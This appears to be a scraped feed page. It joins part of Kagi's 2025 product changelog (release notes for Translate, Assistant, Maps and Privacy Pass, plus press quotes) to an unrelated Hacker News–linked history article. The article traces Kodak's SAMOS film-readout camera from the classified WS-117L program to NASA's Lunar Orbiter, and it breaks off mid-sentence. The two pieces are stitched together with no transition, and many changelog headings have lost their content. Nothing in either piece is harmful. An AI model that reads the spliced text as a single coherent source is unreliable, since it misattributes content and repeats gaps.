  • Korean locale tweaks Hanbyeol
  • Remove Sami dialects which are meaningless, only keep northern and sourthern variant Hanbyeol
  • Add login button redirecting to kagi.com on mobile kotaro
  • Language switch to Norwegian is broken #7510 @Temanor
  • Setting to have "Detect Language" as the default source language #7511 @Temanor
  • Translate screwing up HTML code for < and > symbols #7436 @carl
  • Translate makes up meanings for short/invalid words #7405 @Numerlor
  • Context Field in Kagi Translate Causing Internal Error #7543 @TusedayGhost /@cictao_85080
  • Translation quality is subpar while detecting the language of the text for the first time @cictao_85080

Kagi Android

Kagi Maps

Kagi on socials

Here is this week's featured social media mention :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news & around the web

Kagi for Libraries

With the Kagi for Libraries program, we'll offer free access to Kagi for public library patrons worldwide 📚

If your library is interested or you know a local public library that could benefit, encourage them to apply and help us expand this program.

June 9th, 2025 - Celebrating 50k customers #

More than 50,000 reasons we keep building

Today marks a special milestone in Kagi's history as we reach more than 50.000 paying subscribers. That’s not just a milestone, it’s 50.000 real humans who looked at the web, saw what we’re trying to do, and said, “yeah, I'm in.” That means everything to us.

As tradition demands, we’ve written a blog post packed with announcements and new stuff: read it here !

Thank you for believing in us. Here’s to the next 50k, we’re grateful to be building something that matters, with you! 🥂

Kagi Search

Kagi Assistant

Kagi Maps

June 2nd, 2025 - Kagi turns 3: past, present, and future #

3 years of Kagi!

We are extremely proud and happy to be celebrating three years of Kagi today!

Read everything about where we are as a company and where we want to go in Kagi status update: First three years blog post .

Improvements and Bug fixes

Kagi Search

Kagi Assistant

Since we introduced the Kagi Assistant to all subscriptions and began enforcing fair-use limits, users have requested better visibility on costs. In response, we have added the total token cost per month to the billing page .

Kagi Maps

We're happy to announce the launch of the (new) Kagi Maps. It's still early days, but we're working hard because maps are long overdue for a major upgrade. Our roadmap is packed with innovative ideas and, most importantly, interesting data to make local mapping meaningful again. Check out the alpha at kagi.com/maps . This is just the beginning.

Kagi Translate

Kagi on socials

Here is this week's featured social media mention :

Tag our accounts or use #Kagi when mentioning us in your posts!

Podcast feature

On the latest Timetable podcast, Kagi CEO Vlad joins Manton Reece to discuss building a user-first, ad-free search engine, why the economics of search are broken, and how Kagi helps you discover hidden gems from the Small Web - the kind of sites you'd never find on mainstream, ad-driven engines. Listen here.

Industry news

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

May 22nd, 2025 - Big in Japan #

Kagi Search

Kagi Assistant

Kagi Android app

Search from the Kagi widget is now WAY faster 🚀 Plus, we've squashed bugs and added some handy features:

Kagi Translate

  • Translation quality and speed improvements for best and standard modes
  • Word dictionary now shows synonyms
  • Proofreading mode, shows list of corrections with explanations, style and repetition analysis
  • Page height on mobile devices is too large, causes unwanted scrolling #7074
  • Custom CSS applying with setting disabled, system theme not respected on page load @electric_eel_maki
  • Preserve text while switching between modes @nichu42
  • Suggest to switch input language if selection doesn't match the detected one @vaartis
  • Pressing enter while in the language selector should pick the first option @bert
  • Add UK and US english as different options in the dropdown #7148 @Anonymous22
  • Ctrl+a selects all text on macOs #7095 @laiz
  • Kagi Translate refuses to translate NSFW text #7059 @ZK
  • Kagi Translate mobile layout is suboptimal #6878 @DeeKahy
  • Text overlapping on iOS/PWA #7045 @dartcircle

Kagi's Japan trip

A look into Kagi's trip to Tokyo, where we connected with the Kagi community, collaborated with local companies and potential partners, and enjoyed everything the city has to offer. A heartfelt thank you to everyone who met with us, shared meals, and made this experience unforgettable!
また次回お会いしましょう。

Or view on PeerTube here .

Kagi on Socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the News

  • German tech site Golem featured an article about Kagi being much more than just a Google alternative. Read with Kagi Translate.
  • French tech site Just Geek featured an article about Kagi's many features and how it might make you "forget Google." Read with Kagi Translate.
  • OMG Ubuntu covered Kagi's Orion Browser and its usage of GTK4/libadwaita for its Linux launch.
  • Kagi Assistant was mentioned on Computer World's "20 genuinely useful AI apps for Android" list :

Beyond basic queries, its $25-a-month Ultimate plan includes access to something called the Kagi Assistant, which lets you access the underlying intelligence from Gemini, ChatGPT, Claude, and other AI engines in a single streamlined spot and with the added advantage of complete privacy and custom filtering to help refine the results.

  • Liam Proven of The Register gives a shout out to Kagi in a piece about the enshittification of search:

Another option is to pay for your search engine. We've already mentioned Doctorow once, but his post about Kagi – a no-ads, no-tracking search engine with a tiered payment model – from a year ago makes interesting reading. The idea has gained traction with others, including Daring Fireball's John Gruber.

Kagi shout outs

  • Kagi is described as being best for "power users and professionals who want fast, curated, ad-free results" in a post by Maple Web Design.
  • Alan Jacobs shares a concise review of Kagi:

Google’s search results have become so bad that I recently subscribed to Kagi, and so far it’s been great.

  • Have a site or blog and want to have an easier way to search through its archives? This post outlines a good use of Lenses to make that easier.

A Lens will focus Kagi’s search on one or more (up to ten) particular sites, date ranges, regions, keywords, or file types. You can also exclude sites or subsites. Kagi has several default Lenses, and you can add your own customized Lenses:

  • Kagi is used as an example for why it's important to pay for what you love , and how it helps align the incentives between the user and the service provider:

In order for Kagi to make more money, they have to make search quality better. By adopting a subscription model, Kagi has fundamentally aligned the goal of the service with providing excellent search. This is why a subscription-based service is the most likely to keep its users satisfied over time, and why — if you care, and if you have the choice — you should choose to use a subscription-based service over other offerings.

  • Along those same lines, Liu Miao writes about how paying for search offers a different perspective on using the internet:

Indeed, our generation grew up with the internet, and search engines have been free since their inception. Why pay to use one? But looking at it from another angle, if search engines have been free for over twenty years, then who has been paying for me all this time?

And noting specifically about Kagi:

I hope to see more products like this in the future—products that treat users as users rather than as products.

Industry News

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

How search engines should feel

In collaboration with artist Chaz Hutton , this illustration captures how using a search engine should feel: straightforward and focused, guiding you directly to what you’re looking for.

May 6th, 2025 - Video search upgrades, enhanced Kagi Assistant experience and more #

Search

Video search upgrade

Video search now pulls from more sources and shows richer data:

And other bug fixes and improvements,

Kagi Assistant

This release packs important upgrades to make your experience smoother and more customisable:

  • Adjustable sidebars : on desktop, you can now resize both the primary and secondary sidebars to fit your workflow

  • Mobile revamp : we've upgraded the mobile experience for better usability and flow. Try it out and feel the difference

  • Lenses integration : you can now use your Lenses directly in the Kagi Assistant to further guide its search

This update is all about giving you more control and a better experience. Enjoy!

And other bug fixes and improvements,

Kagi Translate

  • Fast/Best quality toggle: select quick processing or maximum accuracy
  • Add english language varieties to list of supported languages JR
    . Automatically switch to/from language, when typing text from "to" language in the input field TomA
  • Swiss german/high german bobobo1618
  • Import translation history tauon
  • Separate setting to specify dictionary language Kurotsuchi
  • Voice selection for TTS frin
  • Support RTL languages in text fields kaguru
  • Clear dictionary definition after changing source language pim
  • Show voice gender in dropdown frin
  • Preload essential images Thibaultmol

Kagi on socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news

  • Digital Trends features an article about what makes Kagi worth paying for.
  • Frandroid, a popular French technology publication, published a piece about Kagi being an ideal alternative to Google. Read with Kagi Translate here.
  • Spider's Web, a prominent Polish tech site, wrote about the importance of a search engine like Kagi that puts users' interests ahead of ads and other incentives. The article also emphasizes Kagi's dedication to privacy and supporting the small web. Read with Kagi Translate here.
  • Tecnobits featured an article about how Kagi improves your search experience:

Everything you see on Kagi is there because it's useful, not because someone is behind it paying for clicks.

Kagi shout outs

  • Neel Dhanesha at the Nieman Lab published an article about Kagi highlighting its extensive features and the advantages of having full control over your search experience:

After testing Kagi both as my everyday search engine and as a research tool for a working journalist, I’ve been delighted to find that it’s the search engine equivalent of a Honda Civic: reliable, unobtrusive, and able to get you where you need to go.

Kagi gives me better results than Google, it lets me pay with money instead of my privacy, and it works great everywhere, even in Safari.

Paying for Kagi today feels a lot like paying for HBO back in the cable TV heyday. Part of the deal is that you are paying for ad-free service, yes. But you’re also paying for noticeably higher quality. [...] It’s that good. No ads, no unwanted AI (but very good AI results if you want — just end your query with a question mark), and better search results.

I totally think it's worth the money.

My inaugural experience using Kagi was eye-opening: on my first search I got a genuine blog post instead of yet another click-bait AI-generated article. Think about it for a second: when was the last time you got someone's personal blog at the top of your search?

Industry news

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

Real cost of "free"

A few weeks ago, reporter Aaron Pressman described how "free" search engines come at an actual financial cost, sharing his journey that ultimately brought him to Kagi.

Artist Chaz Hutton helped us illustrate how a Kagi subscription can save you money in the long run by eliminating the many hidden costs associated with "free" search engines:

April 17, 2025 - Kagi Assistant rolls out to all Kagi users #

Announcements

Kagi Assistant is now open to all plans

We're happy to announce that Kagi Assistant is now available to everyone , across all subscription plans!

Check our announcement blog here .

To use Assistant, head to kagi.com/assistant .

⚠️ Note: We are enabling the Assistant for all plans in phases, based on regions starting with USA today. The full rollout is scheduled to be completed by Sunday, 23:59 UTC.

With this release, we are beginning to enforce our fair use policy to ensure a sustainable, high-quality service for everyone as we expand access. Basically our policy states that you can use AI models based on your plan's value. For example, a $25 monthly plan allows up to $25 worth of raw token cost across all models (there is a 20% built-in margin that we reserve for providing searches, development and infrastructure for the service). This impacts only a very small percentage of users with extremely high usage patterns and is a simple way to control usage, compared to arbitrary usage limits. Our goal is to ensure broad availability without users needing to worry about typical usage. Affected users can currently renew their cycle instantly, with more flexible credit top-ups planned soon.

We're very happy to offer Kagi Assistant as another optional tool to support your work and exploration online. Let us know what you think via our feedback forum or Discord ! Also see our documentation for Assistant .

Release notes

Search

Assistant

Translate

We've launched our brand-new UI and a bunch of new feature to make your translation experience exceptional! We are incredibly proud of the work on this product. Check out Kagi Translate .

Improvements and bug fixes:

  • Enhanced alternative translations now provide insight about the main translation
  • Dictionary entries can now appear in the input box
  • Added 81 languages to the supported list some-user Ademalhanolu
  • If you can't still find the language you are looking for, you can just type it in jvbf
  • Default Target Language option - your locale language will be automatically set as the default "translate to" language instead of it defaulting to the last one you used.
  • New website translation views - while translating a website, you can now view both the original and translated versions in a horizontal or vertical split. Drag your mouse in the middle to resize the iframes to your liking.
  • Audio download now available for translations peterfgalbraith
  • Can't type correctly using an IME ining
  • URL field not having same padding as language field RoxyRoxyRoxy
  • 1password trying to auto complete context field incorrectly frin
  • Corrections counter in proofreading mode batuhan
  • Setting to disable custom CSS (inspired by someoneiknow )
  • Pick what meaning from the dictionary entry to use for translation Kurotsuchi
  • Increase context max characters limit for Kagi Search subscribers Kurotsuchi
  • Translator: Kyrgyz shows up twice #6700 @Kel
  • There is 2 Detect language #6783 @batuhan
  • Kagi Translate language selection filter not working #6583 @psaints
  • 3 Norwegian options in Kagi translate #6685 @Temanor

Kagi on socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news

I resisted this one for a long time, but now that I’ve started using it I can’t go back. Google search is broken and Kagi works like magic.

  • City Magazine explores the future of search engines, discussing how paid models like Kagi could pave the path forward.
  • HubSpot's The Hustle highlights how Kagi offers a premium experience for users willing to pay for quality.
  • Kagi was featured on de Volkskrant , a Dutch newspaper, about what sets it apart as a search engine. Read with Kagi Translate here.
  • Ars Technica included a short statement from Kagi in an article about Apple being barred from testifying in Google's antitrust trial.
  • The Knowledge newsletter featured Kagi as a search alternative with advanced features that is worth exploring.

Kagi shout outs

As for me? I’ve voted with my wallet. I now use Kagi for search (and pay for it gladly)

I switched to Kagi from the enshittified Google search engine last year, and I’ll never go back. No ads, no sponsored links, no tracking your searches, no selling your data, no clutter.

  • Parth Shah tested 8 search engines, stating the following about Kagi:

Kagi was new to me before this study, but it stood out quickly. It’s a paid search engine with no ads at all. The results were accurate, useful, and easy to read. I also liked the clean layout. [...] Kagi quickly became my favorite.

Have a Kagi review you'd like to feature? Please share it and ping us on any of our various socials when you do!

Industry news

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

Search smarter with Kagi

We partnered with artist Chaz Hutton on a graphic that illustrates how Kagi empowers you to search without the noise, trackers and distractions. Help us share it widely!

Tokyo, meet Kagi!


As noted previously, from April 21–25, Kagi’s team, including CEO Vlad, will be in Tokyo 🇯🇵 to meet companies and connect with the local community. If you are a local Kagi user, we'd love for you to join us for casual food&drinks! If interested, please contact Gillian at gillian@kagi.com to arrange.

March 21st, 2025 - Leveling up the Kagi Assistant experience, meet Kagi in Tokyo, and more... #

Next chapter in the Kagi Assistant experience

With this release, we're introducing a new sidebar , designed to streamline your workflow and keep everything you need within reach. This is just the beginning - the new sidebar lays the foundation for even more powerful features to come.

We're also rolling out Claude 3.7 Sonnet with extended thinking to tackle even more complex challenges.

As always, we’d love to hear your thoughts - join the conversation on Discord or share your feedback through our forum at https://kagifeedback.org

Kagi, lost in translation, in Tokyo!

From April 21 to 25, a dedicated team from Kagi including CEO, Vlad, will travel to Tokyo 🇯🇵 to meet with companies interested in our advanced translation solutions. If you are based in Japan and your company is interested, please get in touch with Gillian.

We'd also love to meet our local user community while we're there. If you're based in Tokyo, we'd love to organise a dinner and connect in person . Looking forward to great conversations and good food with fellow Kagi fans!

Please contact Gillian at gillian@kagi.com to arrange.

Jobs, jobs, jobs

We are looking for a Head of Business Development and a Technical Architect (basically CTO equivalent in Kagi world).

Head out to Kagi hiring to apply and check out other open positions.

Improvements and bug fixes

Search

Based on the community's feedback, we’ve added a setting to always hide AI-generated images by default (suggested by #5998 @keyboardJones ). You can enable it on Settings>Search>AI .

Kagi Assistant

Kagi Translate

  • Add token and other URL parameters to make it easier to use translate in private mode aminomancer
  • Fix translation of Catalan traditional time turly
  • IP URLs not being detected Hanbyeol
  • Inaccurate one-word translations nichu42 JW
  • Copied translation incorrectly removes line breaks LunarWatcher
  • Sync translation theme and language from Kagi Search frin
  • Add section in language picker for most commonly used languages Marcin
  • Fix some words being incorrectly identified as URLs nichu42
  • Add support for markdown goulot_situez
  • Clicking a link from a translated website doesn't redirect to translation of that page Rexios
  • Alternative translations getting cut off Peter
  • Page flashes in light mode theme for a second before turning dark nichu42
  • Source textarea steals focus while user is typing elsewhere tuesday
  • Selection of output text is unreliable on Firefox bkrein
  • Load alternative translations for user-selected text in the output box nichu42
  • Text alignment: When user hovers on input text, highlight the corrisponding part in the output RoxyRoxyRoxy

Orion browser release: smoother, smarter, and more secure

This week's Orion release brings big upgrades:

🔐 3rd party Password Managers & Adblock
We have updated support for uBlock Origin, 1Password, and Bitwarden extensions.

👓 User Interface
Several improvements concern vertical tabs, the sidebar, and favicons.

📺 Youtube and PiP
Several improvements enhance the use of Youtube and the Picture-in-Picture feature.

🪲 Crash fixes & Stability
Bye bye crashes on launch, instability if the browser stays open for a long time, and freezes.

For all the details, please refer to Orion's changelog .

Kagi on Socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the News

  • This TechCrunch article mentions Kagi as an option for users who prioritize not just a better search experience but also a more privacy-focused search.
  • OMG! Ubuntu covered Orion's expansion to Linux.
  • t3n, a German tech magazine, also featured Kagi , highlighting it as a privacy-friendly and ad-free alternative. Read with Kagi Translate here.

Kagi Community Reviews

We are deeply grateful to everyone who takes the time to share their experiences, tips, and feedback about Kagi, helping to spread the word and inspire others to discover its value. Here are some recent reviews to highlight:

Have a Kagi review you'd like to feature? Please share it and ping us on any of our various socials when you do!

The Kagi Way

We partnered with artist Chaz Hutton on a graphic that illustrates how Kagi empowers you to search without the noise, trackers and distractions. Help us share it widely!

March 6th, 2025 - Orion Embarks on Linux Journey & Kagi Doggo Art Celebration #

Orion's Next Chapter: Linux Development Officially Launched

We're thrilled to announce that development of Orion Browser for Linux has officially started! Our team is working hard to bring the same speed, privacy, and innovation that Mac users love to the Linux platform.

This is an ambitious project that we expect will take approximately one year to complete. Our target is to achieve feature parity with the current macOS version by March 2026.

Want to stay updated on Orion for Linux?
Register here to receive news and early access opportunities throughout the development year.

Celebrating Kagi's Community Creativity with Doggo Art

This month, Kagi Search is showcasing incredible community-created renditions of our beloved Doggo mascot,

Shoutout to the featured artists— Edin Pasovic , Fangmoder , Eve Davison , Kevin , and Lynn —who wowed us with their talent and earned 3 free months of ultimate. This is just the start: we’re making this a regular celebration of independent creators. Full story in our docs .

Improvements and bug fixes

Search

Kagi Assistant

Kagi Android app

The latest app release resolves several bugs including,

Feb 27, 2025 - Sonnet 3.7 hits Assistant, early access to Ki, TikTok search and major Translate improvements #

Kagi Assistant adds Sonnet 3.7 and the preview of multi-step reasoning assistant called Ki

We're happy to unveil the latest updates to our assistant experience. This release brings a smoother, smarter, and more intuitive interface designed to make your interactions simpler. Try it out and feel the difference!

We also added Claude 3.7 Sonnet to our model lineup! It's now powering our !code assistant and plays a key role in our advanced multi-step reasoning model, Kii . Currently in early testing, Ki is available exclusively to our Discord community members - join now to get early access (Ultimate account users only)!

And today OpenAI released GPT4.5 - we have already benchmarked it. Check Kagi LLM benchmark .

TikTok video search

Video search just got even sharper—you can now filter specifically for Tiktok videos. Find exactly what you're looking for, faster.

We are hiring a Flutter developer!

We just opened a position for a skilled Flutter Developer . Apply now or send someone our way.

Improvements and bug fixes

Search

Assistant

Translate

Try Kagi Translate at https://translate.kagi.com

  • If on 'manual' translate mode, do a translate when the user changes target language #6037 @Thibaultmol
  • Improve Korean Localization #5305_334 , #5305_329 @Hanbyeol
  • Don't show alternative translations in JP, if the only thing that's changed from original is the pronunciation being added. #5305_328 @frin
  • JP romanization is sometimes incorrect/overly formal #5305_328 #5305_323 @frin
  • German (Switzerland) translations using the wrong "ss" #5305_314 @psy-q
  • Translated text sometimes put into quotation marks #5305_306 @nichu42
  • Disable/export/delete translation history #5305_308 @ajimix
  • CTRL+A should only select the translated text, not whole page #5305_316 @RoxyRoxyRoxy
  • Add Hawaiian to list of supported languages #5305_320 @Bradh
  • Change URL params when translation is completed #5305_323 @frin
  • While proofreading hindi, strike/correct whole diacritic / ligature. @aldehyde.8578
  • Document translation: translate your .doc(x), .txt and .csv documents
  • Alternative translations: along the main translation, show multiple translation options
  • Word insights: fine-tune individual words or phrases
  • https://translate.kagi.com/iso_code now redirects to the main page, with the to language being set to [iso_code].
  • Make tooltips appear immediately, adjust style
  • Dynamic text size depending on length in input/output box
  • Increase max size of request header to allow longer romanization requests
  • [Forgot to credit last time] Add translation context field #5305_253 @Kate-Karui

Kagi on Socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the News

Interested in covering Kagi on your outlet, newsletter or podcast? Hit us up! Our team is very approachable and we welcome any opportunity to engage with various communities about our latest features.

13th Feb, 2025 - Redefining Privacy in Search #

Announcing Kagi Privacy Pass

Kagi now supports Privacy Pass , an IETF-standardized protocol ensuring your searches are technically unlinkable to your account.

Read all about why this matters and the details of implementation in our announcement blog post !

Privacy Pass support is provided:

  • Natively for Orion browser users (macOS/iOS/iPadOS). On iOS, make sure to have version 1.3.17 and above (expected to roll out globally today) and update your macOS Orion to version 0.99.131.
  • Natively through Kagi App for Android (make sure to have version 0.29, expected to roll out globally today)
  • Browser extension for Firefox or Chrome

A few important details:

  • Privacy Pass implementation is fully open-sourced for transparency and community collaboration
  • Kagi Privacy Pass is available for the Professional, Ultimate, Family, and Team plans.
  • Limitations:
    • It's not available for Trial/Starter plans
    • Privacy Pass mode disables account-specific features, like domain personalisaton (as we do not know which user is searching)
    • Privacy Pass mode is supported for Kagi Search in this initial phase, we will add support other services in the coming weeks. Check the blog post FAQ section for more details!

Kagi is redefining privacy in search. Try it now!

Kagi Tor Onion service

Access Kagi securely and anonymously via our new Tor Onion Service.

You can now access Kagi directly through the Tor network using our dedicated onion address:

kagi2pv5bdcxxqla5itjzje2cgdccuwept5ub6patvmvn3qgmgjd6vid.onion

See more information about Kagi Tor service in our documentation .

An updated comprehensive privacy policy

We're also excited to share our updated privacy policy , with simplified language and designed to clearly reflect our strong commitment to protecting your privacy.

Improvements and bug fixes

Search

Kagi Assistant

Kagi Android App

Privacy Pass support! You can add the Privacy Pass shortcut by holding the Kagi Android icon.

Kagi on Socials

Here is this week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the News

Orion tops Apple's App Store's list of superpowered internet browsers "to seriously level up your web browsing"!

And Android Police published an article about Kagi's new fair pricing model: "This ethical search engine will return your subscription money if you don't use it." The Verge also covered the news.

Kodak's "Pre-Invented" Lunar Orbiter Camera; Or, the Fate of SAMOS Readout

Hacker News
invertingvision.com
2026-08-21 09:52:53
Comments...
Original Article
Left: The Lunar Orbiter camera system sitting in the bottom half of the pressurized shell. Project Manager Cliff Nelson (left) stands with NASA/Langley team members Calvin Broome, Israel Taback, and Joe Mooreman. From NASA . Right: Lunar Orbiter frame 5017-M, showing artifacts from Kodak’s camera system. From NASA/LOIRP.

In 1966 and 1967, NASA sent five robotic spacecraft into orbit around the Moon. Constructed for the primary purpose of finding landing sites for Apollo, the Lunar Orbiters also enabled nearly comprehensive mapping of the Moon in stunning detail. The quantity and resolution of the photographs returned by Lunar Orbiter was unprecedented, thanks to a camera system built by the Eastman Kodak company of Rochester, New York. Their imaging system involved elaborate mechanisms to expose photographic film in orbit, develop the film onboard the spacecraft, and remotely transmit images back to Earth.

In February of 1967, the Rochester Times-Union published a story about how Kodak had “pre-invented” the Lunar Orbiter camera. Kodak director of R&D Arthur Simmons told the Times-Union that “no one walked in and asked us to develop a camera and film system to take closeup photos of the moon…Kodak has, for want of a better word, a ‘library,’ of hundreds of ‘conceptual ideas’ which we don’t advertise.” 1 But the story of the camera’s “pre-invention” was more interesting than Simmons let on. When Kodak joined Boeing’s bid for the Lunar Orbiter in 1963, the camera system already existed. The company had originally developed it for the Air Force in the 1950s as a part of the highly classified satellite surveillance program called Weapons System 117L (WS-117L).

The nature of WS-117L and the clandestine origins of the Lunar Orbiter camera system were vaguely known by some at the time, but the full details were only revealed to the public through declassification decades later. This article won’t linger on the detailed technical specifications of the Lunar Orbiter cameras, but will instead focus on tracing the system’s development from conception to its adoption by NASA. It is the story of some of the first attempts by the United States to remotely transmit images from space, and how those same systems were adapted for lunar exploration.

WS-117L had roots in RAND studies of satellite surveillance concepts going back to 1946, and was the first major attempt to put those ideas into practice. The United States was hoping that satellites could be used to monitor the buildup of nuclear weapons and launch sites in the Soviet Union. In 1953, RAND Report 262 laid out in full the feasibility and utility of such systems, and by 1955 the Air Force began soliciting contractors for WS-117L. Eastman Kodak created camera systems for Lockheed’s bid, and the the Air Force awarded their contract in October of 1956. 2

Timeline of the Advanced Reconnaissance System, or WS-117L, from a 1958 summary. From NRO (PDF).

Originally, RAND had primarily considered using television systems. 3 “Near real time” imaging was considered by some to be the ideal form of satellite surveillance, so television was a logical choice. But in a declassified history of the program, Robert Perry explains that the goal of real time imaging quickly became contested within the Air Force–it was unclear whether the technology was ready to satisfy requirements, and the alternative film recovery systems showed clear feasibility and reliability early on. Some of these efforts were spun off from WS-117L into the Discoverer-CORONA program , which sent Kodak camera systems into orbit, and returned capsules of exposed film for aerial retrieval and processing back on Earth. 4 Early on, however, a near real time system was very much a part of the plan. In their bid for WS-117L, Kodak created a remote transmission system that would fly in what became known as the SAMOS program.

Television systems were still in consideration early on, but there were clear technological limitations at the time, especially when it came to resolution. Kodak’s newly formed Apparatus and Optical Division settled on a system to develop film onboard the spacecraft and “readout” the images to receiving stations on Earth. Planners envisaged five cameras for SAMOS, the first three dedicated to testing Kodak’s readout system (the others testing advanced recovery stems ). The E-1 camera would primarily be a technology demonstrator, while the E-2 and E-3 would test the ability for their system to take images at more functional resolutions. All used the same basic architecture.

A diagram showing the various SAMOS camera systems and their proposed capabilities. From NRO (PDF) .

In a way, this camera system was in fact “pre-invented,” as it was mostly a clever assembly of existing technologies, many created by Kodak. The company had decades of experience in aerial photography going back to World War I. By the end of World War II, they had created advanced aerial films, compact film storage systems, and image motion compensation techniques. They had also worked on IR bomb sights and proximity sensing for the Navy, which would become useful for developing thermal control materials for the spacecraft. 5

Illustrations from 1957 show a rough sketch of their plans for SAMOS readout. Kodak’s 70mm film would be exposed, processed, and stored before readout and transmission. Electronic signals received on the ground would be used to reconstruct the images.

An early diagram showing the SAMOS readout system without some of the key details. From NRO (PDF) .

By 1958, planning documents started detailing two of the key technologies that ultimately made the readout system possible. One was what became known as Kodak “Bimat” film, labeled in the illustration below as “WEB.” 6 This web was coated with gelatin containing the necessary processing chemicals, enabling “dry” processing. The web was pressed against the exposed film, developing and fixing the images before storage and transmission. 7

Diagram from a 1959 Lockheed briefing on the SAMOS program, image is labeled September 1958. From NRO (PDF) .

The origins of Bimat film are somewhat obscure in the public record. One Kodak-produced history suggests that the technology started as a laboratory investigation with amateur photography in mind, and was then applied to use in aerial photography. 8 Considering the timeline, it was either a happy accident that this experiment matured just in time for WS-117L, or Kodak engineers started looking into the technique specifically in response to the challenges of film photography in space.

A Lockheed development plan from March 1956 describes the processing system in vague terms, stating that it would “not differ significantly” from existing methodologies for “airborne rapid-processing,” and describing a notional “a roller-applicator type” system. It also lists “the handling of photographic chemicals” as one of the “major difficulties to be overcome.” 9 The illustration from 1957 shows the onboard processing step without the “WEB,” a detail that only shows up in diagrams like the one above labeled 1958. 10 Then, a patent for a “web processing method” was filed in August 1959 by Kodak researchers, presenting “a one-step method for substantially completely developing and fixing a photographic image…without immersion in photographic processing baths.” 11 David McDowell, an engineer who joined up with Kodak in late 1956 and worked on both SAMOS and Lunar Orbiter, also remembers Bimat being developed specifically for the project. “Bimat was started as soon as we started work on E-1 and E-2,” he told me, “because we knew we had to process film in orbit.” 12

The second key technology was the readout system itself, which involved collaboration with the Columbia Broadcasting System Laboratories to create a flying-spot scanner. 13 It worked using what McDowell calls an “inside-out CRT,” using a cathode-ray tube that fired an electron beam through the exposed film. Variations in the density of the film changed the intensity of the beam, and those variations were recorded by a photomultiplier and translated into electronic signals that could be sent back to Earth. Teams on the ground received those signals, used equipment to translate them back into an image, and recorded that image on film. Before passing through the film, the beam reflected off a revolving drum (seen in the diagram below) for thermal management.

Diagram of the SAMOS readout system from the same Lockheed briefing. From NRO (PDF) .

In October 1960, the first E-1 camera launched on an Atlas-Agena, but failed to inject into orbit. Meanwhile, officials were actively debating the wisdom of continuing the readout program. Costs were rising, engineering difficulties plagued the program, some of the technology was beginning to seem obsolete, and CORONA-like systems were looking like a better option until more advanced readout techniques could be developed. Despite these issues, there were advocates for readout, and tests continued so that any decision could be made based on tangible results.

In January 1961, the second SAMOS test launched with another E-1 camera and sailed into orbit. In Sunnyvale, California, technicians at a readout station received transmissions from the spacecraft, and the result was a photograph with a 100 foot resolution. The system had worked. 14

The E-2 camera would be the next step, with more advanced aiming systems and a higher resolution. All of the rotating systems within the spacecraft created complexities when it came to achieving these objectives. One key difference between E-1 and E-2, McDowell recalls, was that E-2 used a rotating nosecone to help stabilize and aim the camera. 15

A diagram of the payload section for E-2, showing the “steerable mounting” that made it distinct from E-1. From NRO (PDF) .
A diagram from SAMOS planning documents showing the proposed aiming and stereo operation capabilities of the E-2. From NRO (PDF) .

The first attempt to launch an E-2 ended two seconds after liftoff, when the Atlas fell immediately back to the ground and exploded. After the E-2 launch failure, readout was largely abandoned in favor of recovery programs. According to Perry, Air Force Colonel W.G. King believed that almost without exception, “everything a readout system could do a recovery system could do better.” 16 Among other problems, readout systems required long lives, necessitating higher orbits that sacrificed resolution and created greater power requirements. 17 Kodak engineers, including McDowell, remember one of the primary constraints being the bandwidth required to transmit the images, and the fact that they were only using a single ground station. 18

No other E-2 cameras were flown, but it wasn’t the end of the story for the camera system. After the Air Force canceled further launches, E-1 and E-2 hardware was left scattered around the country, with one test model remaining in Eastman Kodak facilities in Rochester.

Perry reports that officials at NASA knew about the E-1 system and inquired about the cameras as early as April of 1961, and that the Air Force gave them permission to get details from contractors. The film readout system was similar to the method employed by the Soviet Luna 3 spacecraft to return the first images of the far side of the Moon in 1959, and NASA was interested in using the E-1 for similar purposes. Perry quotes Colonel King saying that NASA officials “did [not] seem to understand much about the problems of taking pictures from a space vehicle.” He did not believe the system would be usable for lunar exploration, but the idea didn’t go away. 19

At that time, the best candidate for using such a camera system would likely have been for the Surveyor program’s planned orbiter, which was encountering its own problems. NASA historian Bruce Byers writes that several factors converged that led to dropping the Surveyor orbiter in favor of a standalone project. JPL was dealing with failures of the first Ranger probes, which delayed its work on Surveyor, and the development of the Centaur upper stage planned for Surveyor was also running into trouble.

Meanwhile, Apollo planning was underway. NASA officials decided to deprioritize orbiter data, because landing data was more helpful for hardware development, which had top priority. The orbital imagery would be primarily helpful for landing site selection, which could come later. JPL was to focus on getting Surveyor landers ready, while the Office of Space Sciences (OSS) began developing alternative plans for an orbiter. 20

Oran Nicks put Lee Scherer on the job of developing a spacecraft that could fly on Agena. He originally looked into adapting Ranger or Able 5 to the task. After they handed the program off to the Langley research center, however Byers writes that Langley director Floyd Thompson opted for a competitive bid. 21 But this competition may have been, if not a complete smokescreen, weighted heavily in the favor of one particular bid. Correlating the Lunar Orbiter program with the timeline presented in Vance G. Mitchell’s declassified history of NASA/DOD relations paints a fascinating picture.

In 1962, as the Surveyor orbiter was under study, NASA Associate Administrator Robert Seamans met with DOD research official John Rubel to discuss lunar reconnaissance. Then, in May 1963, little more than a month after Langely submitted Lunar Orbiter’s Project Approval Document to Seamans, a much larger meeting took place between NASA and DOD officials. They directly discussed the use of NRO equipment for both unmanned vehicles and the Apollo program. Immediately following this meeting, NASA administrator James Webb and Seamans started working with DOD officials on how to put this into practice, and specifically on how NASA could create unclassified contracts for such arrangements. Despite reservations, Rubel’s successor, Eugene Fubini, had the NRO look into NASA’s request. 22

In mid July, an agreement was drafted between NASA and the DOD giving NASA permission to use NRO equipment for “both unmanned and manned lunar reconnaissance operations,” under certain stipulations. It included the following plan of action:

